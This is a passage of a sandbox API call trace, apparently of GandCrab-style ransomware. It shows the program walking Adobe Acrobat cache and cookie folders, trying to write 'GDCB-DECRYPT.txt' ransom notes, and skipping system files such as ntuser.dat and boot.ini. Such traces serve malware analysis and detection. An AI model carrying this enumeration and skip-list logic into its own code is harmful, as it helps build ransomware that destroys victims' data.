Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 198 [0170.193] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.193] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.193] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.193] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.193] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 198 [0170.193] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.193] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.193] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.193] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.193] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 208 [0170.193] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.193] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.193] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.193] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.193] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.193] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 197 [0170.193] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0 [0170.193] FindClose (in: hFindFile=0x5dcf50 | out: hFindFile=0x5dcf50) returned 1 [0170.193] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.193] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 209 [0170.193] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.195] GetLastError () returned 0x50 [0170.195] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.195] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 192 [0170.195] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.195] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5dcf50 [0170.195] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.195] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 1 [0170.195] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.195] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.195] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 1 [0170.195] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.195] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.195] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.195] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.196] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 198 [0170.196] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 198 [0170.196] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.196] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 1 [0170.196] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.196] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.196] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.196] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.196] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 198 [0170.196] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 198 [0170.196] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.196] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 1 [0170.196] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.196] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.196] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.196] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.196] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 198 [0170.196] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 198 [0170.196] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.197] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 1 [0170.197] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.197] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.197] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.197] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.197] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 198 [0170.197] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 198 [0170.197] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.197] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 1 [0170.197] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.197] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.197] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.197] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.197] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 208 [0170.197] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 208 [0170.197] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 208 [0170.197] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 208 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.197] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.198] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 1 [0170.198] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.198] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.198] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.198] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.198] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 197 [0170.198] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 197 [0170.198] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.198] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0 [0170.198] FindClose (in: hFindFile=0x5dcf50 | out: hFindFile=0x5dcf50) returned 1 [0170.198] FindNextFileW (in: hFindFile=0x5dcf10, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.198] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.198] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.198] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.198] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.198] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 202 [0170.198] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 202 [0170.198] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 202 [0170.199] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 202 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.199] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.199] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.199] FindNextFileW (in: hFindFile=0x5dcf10, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.199] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.199] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.199] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.199] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.199] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 199 [0170.199] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 199 [0170.199] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.199] FindNextFileW (in: hFindFile=0x5dcf10, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0 [0170.199] FindClose (in: hFindFile=0x5dcf10 | out: hFindFile=0x5dcf10) returned 1 [0170.199] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.199] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.199] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.199] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.199] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0170.199] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.200] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.200] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.200] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.200] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.200] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.200] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 187 [0170.200] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.200] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd090 [0170.200] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.200] FindNextFileW (in: hFindFile=0x5dd090, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.200] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.200] 